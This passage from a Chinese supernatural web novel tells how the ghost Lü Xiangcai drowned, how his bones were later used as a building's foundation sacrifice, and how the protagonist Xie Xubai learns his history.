抓来后该杀的杀,剩下那些没有犯事的人,无处安置,就关在罗浮屠的窝点。受害者对这个地方痛恨至极,却致死不能离开,生下来的孩子必须送到外面,死生不复相见。 吕九没回岑家,没回海都,也在这个地方住了下来,没有再出去过。他几乎每天都能听到那些人的咒骂,什么不堪入耳的恶毒话都有,从早骂到晚,不带停歇。 以防他被人打死,岑家给他贴身安排了两名保镖,但防不住那些人对这里熟悉至极。 有时候吕九能从饭里吃出钉子,扒拉出丝丝缕缕的毒草,有时候米缸会钻出毒蛇,门口藏着捕兽夹,有时候房子会半夜起火。 每当路过村镇门口,无数人幽暗怨憎的目光投射过来,吕九仿佛能从他们的眼中看出一句话。 ——你若不死,我们死也不能瞑目。 只是恨也好,痛不欲生也罢,日子还要照常过下去。 村人不愁吃穿,需要什么,看守的官兵会帮忙采买,但在这样一个不见天日、与世隔绝的地方,闲是闲不住的。 吕九警惕心太强,他们一时半会儿弄不死,干脆拿起锄头,开辟农田,种上蔬果。有人则摆起戏台,玩起马戏杂耍,加上他们轮番当过戏院的台柱子,演绎唱曲那是信手拈来,渐渐的也成了风气。 人当真是适应性很强的生物。 在他们被抓回来的第六个年头,损毁的房屋被陆陆续续修缮好,田里满是丰茂的农作物,一些人家养起了鸡鸭猪,还有耕牛。 每逢节假日,村人便会一起过节,几十个人围坐在篝火旁,言笑晏晏,吃肉喝酒,兴致上来便蹿上台,接腔搭戏,一时间荒凉阴森的村镇,竟也变得热闹非凡。 这一年冬至,岑家舅舅也来了。 六年不见吕九,见面时他几乎认不出人,只因吕九的身上再看不出往日矫健挺拔的英姿,消瘦得不像话,皮肤带着病态的苍白,仿佛一阵风就能吹走。 但这人的嘴还是一样的讨嫌,见岑家舅舅不开腔,挑起眉头,咧嘴调侃:“见谅见谅,不知都督有喜,忘了备礼。” 岑家舅舅顺着他意有所指的目光,看向自己圆滚的大肚腩,立马明悟“有喜”是什么喜,顿时脸黑如阴云,一巴掌抽在吕九的后脑勺。 他也没怎么用力,但吕九却好似站不稳,忽地往前栽倒,趴在地上岔了气,咳得昏天黑地。 官兵过来搀扶,吕九挥手将他们一把推开,脚在地上蹬了好几下,额上直冒冷汗,撑着地面的手掌直发颤,一个不稳又摔了下去。 岑家舅舅一惊,忙将他拽起来。岂料吕九刚站稳,便捂着胸口唉哟唉哟地喊痛,跟他装可怜,闹着要讨酒喝。 岑家舅舅当他刚才也是演的,满脸黑线地丢开他。但吕九这人脸皮厚且恬不知耻,追在他屁股后面央求五六七八九十遍,终是叫人烦不胜烦地松口。 两人坐在一处屋顶对饮,这里视野开阔,能看见欢声笑语的村人。 岑家舅舅看着村人那边的热闹,问他:“想喝酒,怎么不找人给你送来?” 吕九漫不经心:“我要是在这里喝醉了,大概会一醉不醒,况且酒多贵啊,省下来能买不少粮食。” 岑家舅舅知道吕九把所有的积蓄,都拿来供养了村民,又问:“你还剩多少钱?” 吕九闻言,眼睛一亮,摊开手伸过去:“没多少了,早知道都督财大气粗心地善良,可有心资助一点?” 岑家舅舅往他掌心盖上一巴掌:“滚。” 吕九甩甩手:“真小气。” “我还以为你在这里会郁郁寡欢,如今看来倒是活得自在悠闲。”岑家舅舅抿一口酒,意味不明。 吕九一顿,挑眉:“听您的语气,似乎不解气?” 岑家舅舅没吭声。 吕九又问:“您还恨我么?” 岑家舅舅反问:“恨你有用吗?” 没有否认。 吕九笑了笑,似乎毫不意外:“说得也是。” 那两名贴身保镖,只在他快咽气时才出手。说是保护他的安全,又何尝不是另一种监禁? 岑家舅舅没喝几口便走了,吕九看着他的背影,忽然扬声问:“都督!若是有一天我死了,您能不能帮我看住这群人?您知道的,他们若是逃出去,一定会惹出天大的乱子和麻烦!” 岑家舅舅走得干脆,头也不回,更没有应声。外面战火四起,时局又乱,这里不是他的辖地,待久了恐惹人忌惮生疑。他最多派人驻守,没有那个闲工夫关心他们的饮食起居。 也可以说,他还是放不下心中的芥蒂。 方才吕九想问老爷子他们的身体状况,被他屡次打断,明摆着不想吕九再和岑家扯上关系,这次来只是单纯看这个拐子的孽种死没死。 吕九望着他的背影,许久才收回视线,默不作声地喝酒。 他喝了很多,岑家舅舅临走没有吩咐,保镖们也毫无顾虑地拿给他。 最后酒瓶子堆满屋顶,又顺着砖瓦滚下去,月光下四分五裂,碎了一地。 吕九听到声响,浑身一震,醉眼惺忪地回头看了看,招来保镖,让他们带他下去。 他站在地面,环顾四周。周围寥无人烟,凄清空寂,和远处的热闹形成鲜明对比。 他又看了看自己的身体,骨瘦如柴,瞧着快要咽气,忽然很想去河里看看那头鲸鱼。 吕九这样想,便也就去了,他向来任性妄为。 地方比较远,他跌跌撞撞地来到目的地,出了一身汗。河边泥沙湿滑,他走得小心翼翼。没走几步,忽然听到身后传来大片嘈杂的脚步声。 保镖手里有枪,但架不住一群人一拥而上,被制住的时候,他们连枪都来不及掏出来。 “去死吧!” 伴随这声满是快意的大喊,吕九被几双手争前恐后地推进了河里。 他反应很快,第一时间伸手扒住河岸边,只是手指无力打滑,抓不太稳。 冰冷的河水汹涌地拍上后背,盖过口鼻,吕九止不住地呛咳。忽然手指传来剧痛,他抬眼,透过翻涌的水浪,瞧见碾住他手指的几只脚,还有几张满是仇恨的脸。 刹那间,吕九想了很多,又或者什么都没想。 他蓦然大笑,松开手,任由自己沉入河底。 河下没有鲸鱼,只有一团腥臭的尸堆,尸堆中探出几只白骨森森的手臂,随水流摇曳,将他往下拽。 …… 不知从何处传来一段动人婉转的戏腔。 那声音笑着,慢不着调地轻唱。 “*记不起,从前杯酒……” “置廿载包胥承一诺,盼乌头马角终相救。置此札,君怀袖。” —— 同一时间,红阴剧院。 谢叙白的精神体虽在戏中,但也有部分识念留在戏外,警惕系统的卷土重来和可能出现的意外。 当一股强大的气息将剧院包围,他立马察觉,主意识回归本体,扯眉看过去,却不曾想,会看到宴朔那张不苟言笑的脸。 谢叙白入戏八年,忍不住晃了晃神。下一秒他快速回神,下意识问:“你……这么晚了,宴总怎么过来了?” 听到他的称呼,宴朔皱了皱眉头,想让他改口又找不到由头。 宴朔转头看向戏台,又或者说“看向”整个红阴古镇,不咸不淡地道:“有个不知死活的东西偷走了盛天集团的秘书,工作积压没法进行,好几个部门经理都找到我这投诉,吵得不可开交。” 语气相当不悦冰冷,每一个字音落下,都叫古镇震了又震。 谢叙白忽然想起自己也是盛天集团的员工,并且好几个月都在“出外勤”,没有去公司报道,略感心虚地扶了扶金丝眼镜。 但宴朔看上去不准备追究。 谢叙白在金丝眼镜的回蹭里定了定神。 这场戏临至终了,也没有讲明吕向财为什么会被困在盛天集团,吕向财本人似乎也没有印象。他略一停顿,恳切地问:“不知道您方不方便告诉我,吕向财被困在盛天集团的原因?” 作者有话说:*出自《金缕曲词》 置廿载包胥承一诺,盼乌头马角终相救。置此札,君怀袖。我亦飘零久。十年来,深恩负尽,死生师友。 第152章 有人吗 听着谢叙白愈发礼貌的敬语,宴朔扯眉瞥去。 他脸上没什么情绪,但红阴古镇通过溢散的力量波动,能清楚地感知到祂的不高兴。 宴朔的残暴曾闹得人尽皆知,连带脚下的土地跟着风声鹤唳。它想起那些被宴朔撕碎的【规则】,被吓得战战兢兢。若非它是片不能移动的区域,恐怕现在早已落荒而逃。 谢叙白亦对宴朔的不悦有所察觉。 想来……应该没什么大问题。 毕竟宴朔一直都在生气,因为记忆有缺,之前为什么会愤怒,至今也没找到原因。 不知道为什么。 或许是宴朔曾多次引导他成长;或许是这次入幻戏,宴朔曾助他击退系统;又或许是此时此刻,金丝眼镜还在偷偷摸摸、黏黏糊糊地蹭着他的耳廓。 谢叙白忽然觉得,生起气来的宴朔,或许没有想象中那样恐怖。 谢叙白决定迎难而上,继续追问:“可以告诉我么?” 彼时他坐着,宴朔站着,两人之间有一段距离,前者便探身去问。 他仰着脑袋,目光从下至上,眼巴巴地看着宴朔:“除了您以外,我不知道该去找谁了。” 宴朔垂眸,直直撞入那双莹润透亮的眼睛。迎着烛火的光亮,仿佛能从中找到闪烁的繁星。 他沉默地看着谢叙白,少顷,抬了下食指。 谢叙白的座位旁凭空生成一把椅子,宴朔坐了下来,抬手托起一个漆黑的雾团。 不待他有所动作,那枚黑团忽然迫不及待地往前一蹿,乐颠颠地飘到谢叙白的面前。 谢叙白尚未接手,就从中感受到一股熟悉亲切的气息。他疑惑地问:“这是什么?” 宴朔直勾勾地盯着那殷切的黑团,眉宇下压,面瘫般的脸上总算多了点表情,透出皮笑肉不笑的冷意。 他扯了扯嘴角:“吕向财的尸骨。” “……”谢叙白也感应到了。 他陷入沉默,小心地将黑团接入掌心。 黑雾散去,留下几段森白的骨片,上面细细密密地布满裂纹,如蛛网般展开,仿佛一碰就碎,让人触目惊心。 宴朔淡淡地道:“早年流传着一个名为打生桩的活人祭祀。一些蠢货信奉在工程开始前将活人生埋工地,打成地基,就能保工程顺利进行。待工程建成,亦会成为保护神,镇一方邪祟,佑其建筑水火不侵,拥有者事业顺遂。” “这项陋习在几十年后被人废除,改为撒鸡血代替寓意,但还是有部分蠢货贼心不死,想用这些歪门邪道获利。” “盛天集团的前身——宏润公司,他们的工程师就接到这样的指示。但那人胆子比较小,没敢坑杀活人,趁着没人注意,偷偷从红阴古镇的黑市里买来一副被焚烧再铸的灵骨,分成数段凿碎,融入水泥,再辅以各类灵器修建,布施风水局。” 宴朔:“但他不知道的是,红阴古镇没有黑市,只有鬼市,而他买来的那副骨具也不是什么灵骨。” 而是吕向财的尸骨。 谢叙白的心脏猛然一痛。 ……生生凿碎? 谢叙白看着骨缝里的黑色石灰,还有那些细密的裂纹,倏然拧紧眉头,心中的痛惜愈发浓烈,用精神力将之小心抚去。 他虽未死过,却从奴役犬诡的邪书里得知,魂魄化诡后能与自己的尸骨共感,感知也会被放大数倍。 邪书作者也颇感自得地提到过:想要制服怨诡,只需找到它们的尸身,稍加敲打,莫敢不从。可见对尸骨下手,会让诡魂有多么痛苦。 谢叙白用精神力包裹骨片,尝试修复上面的裂纹,沉声询问:“是谁将吕向财的尸骨烧成骨具,又将其卖给宏润公司的工程师,那些村人?” 宴朔却道:“不是,烧骨头的是岑家,卖骨具则是系统的刻意安排。” 听到岑家的名号,谢叙白眉头紧蹙。 他第一反应是岑家恨不得将吕向财挫骨扬灰,乃至于在人死后还要折磨尸身,令其灵魂不得安宁。那吕向财得知真相,一定会大受打击。 幸好,事实并非他想的这般残忍。 宴朔道:“吕向财淹死不久后,参与谋杀的村人被驻扎镇外的荇州军抓回,挨个关进地牢,只是来不及处置,外面的战火就波及到了红罂镇。大部分荇州军在岑家得知吕向财死讯后被召回,剩下的村人无力抵抗贼寇,被屠戮殆尽。” “追溯前因后果,若非吕九将他们拘在那个叫天天不应的深山荒镇,又把行船毁掉,堵住所有的通路,他们也不会在贼寇袭来前毫无逃生的机会。” “那些村人被残忍杀害,属于枉死,怨气滔天。它们将恨意施加在吕向财的身上,形成诅咒,令他无法轮回。” 谢叙白忽然有些明白了:“所以岑家……” 宴朔:“岑家老夫人蕙心兰质,加之后半生潜心修佛,竟生出微弱的灵知,日夜梦见吕向财魂灵不安,泣血痛嚎。” “为了安她的心,岑家便找来一名得道高僧,将吕向财的尸骨烧成骨具,用以镇压红罂镇的滔天怨气。” “一是为防止怨气过重,邪祟诞生。二是为吕向财之前的因果做个了结,通过镇压怨魂的磋磨,赎完原有的罪孽。 待红罂镇所有的怨魂被成功度化,吕向财便能顺利往生。” 如果没有系统从中作梗,再过个几十上百年,那些怨诡就会被成功度化。 而今吕向财的尸骨被挪走,怨诡们的恨意无处宣泄,竟将早已死去的罗浮屠等厉诡一应唤醒,形成诡域,为祸四方。 吕向财虽生于红罂镇,也死在红罂镇,但他碎骨重铸,融入宏润公司,成为公司的伴生物,等同重生,“户籍”自然要更新。 他的魂魄也在这个过程中接连受到打击,对前尘往事的记忆变得很模糊,认知受到影响。 两者相较,自是宏润公司抢到了对吕向财的主控权。 【规则】之间的争夺向来残酷暴虐,非死即亡。宏润公司生怕吕向财会被红阴古镇夺走,事实上对方的去留也确实由不得他自己。 所以,它宁愿粉碎吕向财的魂魄,也不肯放他离开半步,助长其他【规则】的变强扩张。 修补尸骨没那么轻松,何况是粉碎过一次的骨具,稍不留神,就会造成不可挽救的损伤。 谢叙白努力尝试,也只能让那些缝隙收合一点,不能恢复如初。他不敢用力过猛,索性用精神力编织出一个布袋,将骨片小心地装进去,等到日后,看能不能收集到温养尸骨的灵器。 宴朔还在无声地盯看着谢叙白的手腕。 虽然谢叙白为避免惹人注意,已将手铐隐形,但到底瞒不过神的眼睛。 谢叙白忽然想什么,诧异地问:“宏润公司不肯放走吕向财,系统介入,干扰规则,才让他的灵魂回到红阴剧院,那这些骨片被砌入水泥,又是怎么被取出来顺利带走的?” 话音未落,他脚下的影子忽然颤动,小触手欢快地从影子里蹿出来,尖尖还沾着黑色的泥灰,邀功般欢叫。 【是我一点点从墙里抠出来的哦!白白我是不是很厉害!】 谢叙白颇感意外。他进入戏中,也有好多年没有看见小触手,当即高兴地抱上去,把触手尖尖上的泥灰拍掉,弯眸夸赞道:“嗯,小一真的很厉害!” 不过,以小一的块头和“细致”的动手能力,把吕向财几乎碎成渣的尸骨从墙里挨个抠出来…… 谢叙白一边拍拍小触手,一边压低声音问宴朔:“冒昧问一句,盛天集团还健在吗?” “……”宴朔诡异地沉默一会儿,细看会发现他的眉头在轻微抽搐,仿佛想到什么不堪入目的画面。 末了,他不失沉稳有度地陈述道:“无妨,碍不着公事,明天就能修好。” 看着宴朔那张状似泰然的冰山脸,谢叙白的眉毛微微挑起,眼中掠过一抹几不可察的笑意。 宴朔不会纵容小一的胡闹生事,若非有对方的授意或默许,小一怕是连一块砖都来不及掀开就会被强行镇压。 这是谢叙白从未见过的祂。 小触手趴在谢叙白的怀里蹭来蹭去,沐浴在金色精神力的温柔抚慰中,舒服得吸盘展开,直打呼噜。 人类最近都好忙,它感觉自己好久没有这样和人类亲近过了,一时间高兴得忘乎所以,叠着声唤人。 【白白,白白。】 尖尖往上一翘,顶端凝结出一团散着光晕的黑雾。 【我这里也有一段关于他的记忆,给你哦。】 宴朔休眠期间,吕九就是小触手的临时监护人,老爱管着它,还总是打他,和宴朔一样的暴脾气。不过它可不会忍着,一般当场就还手报了仇。 小触手又讨厌吕向财,又觉得他愿意陪自己玩,人还行,说不上对他有多上心。 但它知道,谢叙白一定想要救出吕向财。 对诡域和【规则】的攻破往往基于认知,了解得越深,认知就会越强,行动的时候更能得心应手。 小触手的语气软软糯糯,像和家长殷勤献宝的小朋友一样可爱,谢叙白没忍住亲了亲它,弯眉道:“谢谢小一。” 宴朔一顿,不留痕迹地瞄一眼自己的大腿,又看了看小触手被亲过的部位。 谢叙白已经迫不及待地点开了那段记忆。 虽说是以小触手视角展开的记忆,却能俯瞰全局,三百六十度无死角地看到宴朔周围的所有景象。 甚至可以透视,只要凝视时间稍微长一点,就能透过楼房高墙,看见后面被挡住的街道和行人。 小触手没有科学定义的眼睛。或许在它的“视野”里,世界从来都是这样广大宏观的模样。 记忆画面很短,周围的建筑环境也很陌生。依稀能从地段标识分辨出大概位置——眼前的公司正是盛天集团。 彼时的盛天集团还是一家即将破产的小公司,装修破败,规模不大,人去楼空。玻璃大门贴满小广告,里面的桌椅歪七扭八倒了一地,文件夹和纸张散落各处,瞧着空旷潦倒。 那时候的宴朔,长相和现在没有任何差别,剑眉星目,丰神俊朗。 但他的眼神远比现在要冷得多,漆黑如墨,幽深如潭,没有一丝温度,也透不出一星半点的光亮。 仿佛他只是人世间的过客,不会为外物动容,于是此后不论多么漫长的光阴岁月,都不会在他的身上留下一丝痕迹。 宴朔不偏不倚地从宏润公司门口走过,看上去只是路过。 旁边的树荫中站着两名结伴的路人,其中一人拿着摄像设备,满脸兴致勃勃。 另一人要不自在得多,心惊胆战地左顾右盼,偶尔对宏润公司的门牌流露出惧意,急切地劝道:“都说了这家公司闹鬼,好几次差点拿出人命,你怎么还要过来啊!要不我们还是走吧。” “废话,要不是传言这里闹鬼,我还懒得过来呢!”同伴不以为意地拍了拍手里的摄像机,得意洋洋地扯开嘴角,“这家公司自建成后一直在出事,里面肯定有什么蹊跷,如果我们能破解它的秘密,拍摄成视频,一定能赚取不少流量!” “况且现在是白天,阳气足,就算是怨鬼也不敢跑出来,你怕什么?” “但是……” “行了快走,我好不容易才搞来的钥匙,也就这几天公司清算才没人过来,错过这个村可就没有这个店了!” 谢叙白早已看见贴在玻璃门后的吕向财。 这时的吕向财经过溺亡。经过被烈火阵法锻造成骨具,镇守怨魂近百年,也被它们的怨气影响折磨近百年。经过被黑心商人粉身碎骨砌入水泥,早已癫狂。 他浑身散发着浓郁漆黑的怨气,双眼猩红,死死地凝视着逐步走近的两人,唇角近乎兴奋地咧到耳朵根。 谢叙白暗道要遭,但是他无力阻止。 毕竟这只是一段过去的影像,连幻境都算不上。 两个作死的人浑然不知道危险就在前方,无知无觉地拿出钥匙。门上贴着一张破烂的黄色符纸,被头也不抬的摄像师当成小广告,一把扯掉:“什么鬼玩意。” 这一扯,明显扯动了某个无形的封印,吕向财浑身怨气暴涨。 刚打开公司大门,他便化作湿冷的阴气冲了出来,掀起巨大的飓风,吹得广告牌哐当倒地,树枝疯狂抖动。 作死的两人什么都没看清,就被剧烈的冲击径直撞飞,摔在地上人事不省。 吕向财落在他们的身边,一脚踩在摄像师的脸上。 看见对方凄厉地痛叫起来,他嘴角疯狂上扬,变得特别开心,仿佛旁人的痛苦正能缓解他的满腔戾气:“多谢两位小兄弟,要不是你们帮忙,我还不知道要在这个鬼地方困上多久,哈哈哈——” 他说完,又是狠狠一脚,直接把摄像师踹出去好几米。 谢叙白在旁边看着吕向财嚣张跋扈的作态,看见对方伤人时眼中迸溅出莫大的快意,忽然有些难过。 踢完人,吕向财似乎觉得不够。 他痛苦了太长时间,这么一丁点的宣泄,怎么能够? 是以吕向财伸出手,笑着朝两人的咽喉伸了过去。 心境的变化,会直接反映到诡体本貌。 当第一次出现无故残害他人的念头,吕向财的诡相愈发妖邪。 眨眼间,他的手臂爬满狰狞可怖的尸斑,指尖长出利爪,脚下的影子兴奋地抖动起来,和厉鬼毫无差别。 谢叙白很想阻止,但他在回忆片段里没有实体,只能眼睁睁地看着吕向财堕入深渊,一去不复回。 别这样,吕向财! 谢叙白心痛非常,恨不能冲到过去将人拽走,哀伤地怒喝道:“别做错事,别这么折磨自己!” 我们都清楚,杀人害人伤人,你并不会真的痛快——你从来就没有痛快过。 吕向财掐住那两人脖子的手,毫无征兆地僵了一下。 他好似听到什么声音,动了动耳朵,环顾四周,没看见半道人影,沉默片刻,嘟囔了一声:“奇怪。” 谢叙白见他这副模样,猜到一种可能,心跳蓦然加快,又快速喊了几句话。 然而吕向财没有任何反应,似乎刚才的愣神侧耳聆听,只是他们俩的幻觉。 但经过这么一打岔,吕向财杀意渐淡,又或者说,他全身心都记挂着刚才冷不丁冒出来的无名之声,连杀人泄愤都顾不上了。 他缓缓站起身,被掐醒的两个路人恐慌地爬起来,连滚带爬地跑走了。 吕向财没有理会,左顾右看,又抬头,盯着空无一物的蓝天白云。 “奇怪。” 找不到人。 “谁在喊我?” 为什么不出来? 吕向财看向四周,似乎稍微清醒了点,满脸茫然:“这是哪儿?” 我为什么会在这儿? “喂!”他双手作喇叭状,对着不见人影的街道,大喊,“有谁认识我吗,这里有人吗?” 没有人回应。 这个时期,这片区域还没有被开发出来,离经济区太远,地处偏僻,没有客流量,日常生活极其不便,唯一的优点就是租金便宜。 宏润公司负责人原本打算在这里建个大仓库,干干电商或者货运,几次闹鬼出事后,也只能作罢。 吕向财怔了怔,忽地感到一阵无法言喻的恐惧,加大音量,声嘶力竭地吼:“刚才喊我的人,出来啊!谁都好,来一个人行不行,告诉我,我是谁!” 还是没人回应。 空气静得出奇,秋风瑟瑟,吹得枯叶微动,蓝天苍茫,透着一股说不出的凄清。 仿佛任何时候他都是孑然一身。 吕向财怔愣着,忽然感觉手掌被什么东西击中,眼眶也热热的,情不自禁地低头看了过去。 这么一低头,眼眶中溢满的东西再一次掉落下来,豆大一滴,啪嗒打在他满是尸斑的手腕上,滚烫至极。 第153章 兴高采烈地迎了上去…… 吕向财会哭,连他自己都觉得不可思议。 他条件反射地抬手,慌张地抹掉脸上的眼泪。 下一秒,身后敞开大门的宏润公司内部传来一股巨大的吸力,漩涡般强劲,仿佛要搅碎他的身体。 吕向财瞬间反应过来这是要把他给关回去,眼神骤然发狠赤红,拼尽全力抵抗,像迎着铺天盖地的暴风雪,咬紧后槽牙,一步步地朝外面走。 区域对诡怪施加的强制性束缚,若要强行挣脱,必将伤及灵魂,承受千刀万剐般的剧痛。 一般诡怪痛上几秒后就会忍不住妥协,可吕九不会。 他龇牙冷笑:“你个杂碎玩意,凭你也想关住我?” 吕向财贯来张狂、跋扈,他的气性和傲骨,绝不允许他对着一个破烂公司俯首称臣。 他也从来没有对谁真心认服过。就是当初被罗浮屠百般折磨,恐惧如同烙印般刻在心头,他也一样忍辱负重到最后,找机会亲手结果了对方。 旁观吕向财即将被【规则】碎魂的谢叙白急得手指发颤,但不等他做些什么,眼前蓦然一黑。 ——释放回忆的小触手察觉到他心绪不稳,干脆将这段过程略过。 等到谢叙白恢复视觉,吕向财的魂魄早已裂成无数片,丝丝缕缕地悬在空中,如雾气般模糊缥缈。 虽没有看见过程,但亲眼目睹挚友死在面前,谢叙白的心脏仍旧狠狠一颤,莫大的悲痛如潮水般袭来。 下一秒,一团蠕动的阴影出现在吕向财的身边,阴影中探出一根湿滑黏腻的黑色触手,震惊得无以复加。 【宴朔!宴朔!他碎了,真的碎了!他怎么这么犟啊?】 男人不知何时出现在路口,神情淡漠,好似没兴趣理会,扭头要走。 【别走!等等我呀!】 触手虚空一勾,半空中凝结出一片雾蒙蒙的水汽,将吕向财快要散开的魂魄拢在一起,着急忙慌地追了上去。 “丢了它。”男人头也不回,声音冰凉,不带起伏,“你若把它带离这片区域,不出一个小时就会魂飞魄散。” 小触手闻言,立马吓得僵在原地。 但它看了看雾气中支零破碎的诡魂,忍不住嘟囔:【……但就这样丢了它,它也活不下来呀。】 它追在男人的身后兴致勃勃地央求道:【要不然你把它修好吧!这个家伙连规则都能抗住,它好耐揍的,你把它修好,让它陪我玩嘛,好不好啊?】 【宴朔!你不是正准备找一个地方造房子吗,这个地方就很不错呀,好安静的,不会有人打扰到我们睡觉。】 【宴朔,宴朔,宴朔——】 【这个诡魂有好多部分是白色的,最差也是灰色的,一点都没有被污染,修好它吧,修好它吧!】 【它有白色的灵魂呀!】 看着没有任何回应的男人,小触手呆了呆,抱紧吕向财散碎的魂魄。 它觉得自己的想法很对。 这世间有诸多诱惑,万般不易,坚持很难,放弃却很简单,一不留神就会堕落沦陷,能坚守到最后也不会发黑的灵魂,少到可怜。 所以白色的灵魂不该消散,消散了会很可惜。 它隐隐觉得,每当这个时候,就会有一个人站在它的身边,认真听完它的发言,然后抱起它用力地亲上一大口。 那个人笑起来的时候应该很好看,好看到盛夏的阳光都没有他耀眼。 那个人会大声夸它是个好孩子,夸它善良有爱心,还会耐心地和它一起拼凑出这个诡魂。 可是现在,面前、周围、触目所及。 除了那个可恶的、目中无人的混蛋,什么都没有。 似乎茫然,似乎悲伤,小触手的声音渐渐有点低落。 【白色的灵魂……如果我们能治好它,或许有人会感到很高兴的……】 神色冷淡的男人猝然止步。 …… 等到吕向财再次醒来,宏润公司不仅把名字改成了盛天,全公司上下大换血,还发展成了让他瞠目结舌的规模,仅有一层楼的小破公司,足足激增三十层! 一根乌漆嘛黑的小触手在旁边吱哇乱叫,腹部的大小吸盘兴奋地一张一合,看着要吃了他一样。 吓得吕向财一个激灵,反射性抬腿将那根触手踹了出去。 小触手猝不及防,啪叽摔在墙壁上,砸出一个大窟窿。 它费劲巴拉地将自己从墙壁上撕下来,吸盘上全是水泥渣渣,晕乎地转了好几圈,站定回神,错愕地扭转身,“看着”满眼警惕戒备的吕向财。 小触手不敢置信! 光天化日,朗朗乾坤,居然有诡恩将仇报! 它炸成削尖的竹笋,愤怒地吼道。 【我救了你!你居然打我!你打我!嗷——】 嫌它吵得头疼的宴朔揉了揉眉心,从堆满整个书桌的文件堆里抬起头,虚空一抓,将小触手丢进脚下的阴影。 办公室再无一丝声响,静得针落可闻。 吕向财这才注意到桌子后面还坐着一个男人,谨慎打量两秒,正要开口套话,冷不丁和男人对上了眼。 恐惧。 他感到了难以抗拒的恐惧。 战栗感从灵魂深处油然而生,仿佛有只无形的大手扼住他的咽喉,所有挣扎反抗的想法,都在顷刻间荡然无存。 男人不咸不淡地问:“你叫吕九?” 本来吕向财有点惊魂不定,经他一点名,脑中混沌犹如云雾般轰然消散。 却又在下一刻激起诸多痛苦的记忆,叫他头疼欲裂,以手撑额:“唔!” 男人看他一会儿,道:“罢了,碎骨重铸,自当新生。” 吕向财没能听清他说的什么,好半会儿,才冷汗淋漓地挣脱那噩梦般的记忆,找回自己的神智。 他听见男人冰冷无澜的嗓音从前方传来。 “你因果未断,且保留吕姓。你思虑过重,杂念不断,恐积郁成疾,往后便改名为‘向财’。” “合名,吕向财。” “之后再要胡思乱想的时候,先想想怎么给公司赚钱。” 不知道想到什么,男人略一停顿,复又看向企划书:“欲念单一,不失为幸。” …… 回忆结束。 宴朔眸色幽深,仍盯着谢叙白的手腕不放。 他对那副金色手铐有十万分的看不顺眼,想捋下来捏成碎片。 结果一抬头,就对上谢叙白熠熠生辉的双眼。 “谢谢宴总,以前是我对您有所误解,您真的是个很好的人!”谢叙白说完又抱起小触手,激动中透着欢喜,狠狠地亲上一大口,“谢谢小一!你真的是个非常善良的好孩子!你太乖了宝贝!” 说完,等不到一神一触手做出反应,谢叙白的识念重回幻戏。 这一场戏,是吕向财专门为谢叙白而唱,但窥戏的观众不止谢叙白一人。 红阴古镇的大部分怨魂几乎被戏中过往挑动,怨气暴涨冲天而起。 它们不待戏至终幕,纷纷挤入幻戏,发出愤恨的嘶吼,要将吕向财大卸八块,让他永不超生! 吕向财站在风暴中央,嘴角缀着无所谓的笑。 有怨魂袭来,他甚至懒得投去视线,抬手一挥袖子,不客气地将怨魂抽飞,动作也算慵懒优雅。 他眯眼含笑,边打还不忘欠欠儿地回嘴,和逗雀逗狗一般,嘴里轻轻巧巧地敷衍道:“想杀我的人多了去了,你算老几?滚一边去。” 直至谢叙白重回幻戏。 吕向财眼前乍亮。 仿佛踽踽独行后,终于等来自己的归宿,他笑着抬起下巴,露出脆弱的咽喉,又展开双臂,暴露致命的心口,兴高采烈地迎了上去:“等你好久,你方才又跑到什么地方去了?” 第154章 交给我吧 谢叙白眉宇轻压,看着吕向财毫不设防,又或者说特意不设防的轻快步伐,闪念时便明悟对方的所思所想。 很显然,吕向财这是记挂着让他审判的约定,赴死来了。 果不其然吕向财在他面前站定,浑似撒娇一样,语气可怜巴巴:“谢叙白,你知道我的性子,一贯脸薄得很。要真的让我穿上囚服,被押送到法庭接受四面八方的指指点点和唾骂,我可受不了,还不如在这里死了算了。” 吕向财敞袖往天上一指,粲然笑道:“况且,你瞧这地方多好啊。” 谢叙白顺势看过去。 眼前的景象真说不上哪里好。 整个村镇的怨魂都被唤醒,争相涌入幻境,庞大驳杂的黑色怨气朝此地汹涌聚集,形如摧枯拉朽的巨大风暴。 风暴中,唯能看见一张张狰狞的人脸飞快掠过,不断嚎叫。没有瞳孔的漆黑眼窟窿朝下,淌着血泪,死死地盯住被金光护住的吕向财,透出叫人毛骨悚然的恨意和杀念。 群魔乱舞,万鬼嚎哭。 此情此景,只怕多往前走上一步就会被利爪绞成碎末,阴曹地府十五层里的磔刑地狱也不过如此。 “恨我或是被我害过的人,基本上全都在这儿了。”吕向财收袖负手,好以整暇地抬起头,环视那些怨魂,“让这些家伙亲眼目睹我的死亡,没准能想开不少,说不定还能就地解脱升天。” “也算是让我死得其所,为这个美好的世界发光发热,你说是不是?” 谢叙白无声地看着吕向财,少顷,抬起手,掌心凝聚起一团淡淡的金光。那光芒温柔温暖,并不强烈刺目。 他抬眸,低声问:“你真这么想?” 那当然——是不可能的。 吕向财自觉小心眼,睚眦必报,大度多都是装出来的。 他还是个贪生怕死的小人,要不怎么会苟延残喘到最后,都不愿以死谢罪。 吕向财扭头笑看他:“你想不想听实话?” 不待谢叙白开口,吕向财扯了下嘴角:“算了算了,我骂得太脏,说出来怕是要污了你的耳朵。他们想让我再死一次,那就死呗。欠债还钱,一了百了。” 他说完,默了默,轻声唤道:“谢叙白……” 你该动手了,就像我们约定的那样。 “我……” 我有点,害怕,其实还非常怕疼,一直不好意思告诉别人,所以你出手能不能快一点?看在我给你当了这么长时间后勤的份上。 话将出口,吕向财对上谢叙白的眼睛,刹那间,他呼吸凝滞,心脏狠狠一咯噔。 就像谢叙白能一眼看出他的不甘挣扎,他也能从谢叙白状似平静的眼神中感受到什么。 吕向财突然意识到,无论是求饶还是偶然而发的感慨,都会让眼前这个为他着想的人感到心痛。自己逼着谢叙白下手的行为,更是不亚于在对方的心脏上狠狠扎刀。 谢叙白就是这样的人,公司门口的迎客松死了,都能默不作声地难过半天。 吕向财忍不住想起第一次遇到谢叙白的那天,刚活过来没多久的管理层又双叒叕开始蠢蠢欲动,他给自己加上认知干扰,混入底层秘密调查。 那天的天色很阴沉,外面下着暴雨,电闪雷鸣。他盯着电子报告中不明去向的资金流亏空,对这种没完没了的循环走向感到无比厌烦,偶然一瞥,瞧见雨幕中一道影影绰绰的身影。 那身影越来越近,小跑着,从瓢泼雨幕里冲进来,是个二十出头的青年。 体态颀长,样貌平平无奇,但那双澄澈的眼睛迎着润白的门廊灯,亮得发光。 青年的半个肩膀被雨水淋湿,去人力资源部门办完报到手续,刚一回来,就被路过的管事逮到,劈头盖脸地骂他衣衫不整,破坏公司形象,还要罚扣工资,拿着鸡毛当令箭的做派看得吕向财冷笑连连。 